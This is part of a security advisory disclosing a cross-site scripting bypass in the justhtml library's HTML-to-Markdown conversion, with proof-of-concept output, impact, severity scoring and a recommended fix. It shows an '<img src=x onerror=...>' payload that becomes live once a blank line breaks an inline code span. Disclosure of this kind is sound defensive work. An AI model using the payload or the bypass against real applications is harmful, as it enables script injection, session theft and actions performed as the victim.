Advisory

GHSA-jf6w-2mvx-633j

Details, part 2 of 2. The advisory

Details

Build and run:

docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc

Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):

=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0

Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.

== CONTROL  (payload in <code>, NO blank line) ==
  1. input HTML        : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>'
  4. live JS sinks     : NONE (inert)

== EXPLOIT  (payload in <code>, + blank line) ==
  1. input HTML        : '<code>q\n\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
  4. live JS sinks     : [('img', 'onerror', '__POC_XSS_MARKER__()')]

== VERDICT ==
  BYPASS CONFIRMED.
  The blank line terminated the inline code span; sanitized code
  text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
  The control (no blank line) stayed inert inside <code>.

The exploit is byte-identical to the inert control plus a single blank line
(\n\n). Deterministic: same input → same result.

Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec)
— supplementary; the parse proof above is canonical. Inert marker only:

== --prove-exec (supplementary, container-only) ==
  materialized handler JS: '__POC_XSS_MARKER__()'
  JS engine result: 'XSS-EXECUTED'  -> attacker JS executed

Impact

This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).

An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.

Severity: CVSS 3.1 6.1 (Moderate),
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.

Recommended fix

Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.

Resources

  • CWE-79 — https://cwe.mitre.org/data/definitions/79.html
  • CWE-116 — https://cwe.mitre.org/data/definitions/116.html
  • Affected source (tag v1.21.0): src/justhtml/node.py:32-41 (_markdown_code_span), src/justhtml/node.py:1061-1078 (<pre>/<code> dispatch).
  • CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
  • Novelty: same vulnerability class as two prior, already-fixed to_markdown() advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for <pre> code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at v1.21.0, and origin/main == v1.21.0 (no embargoed fix).

Sources & licences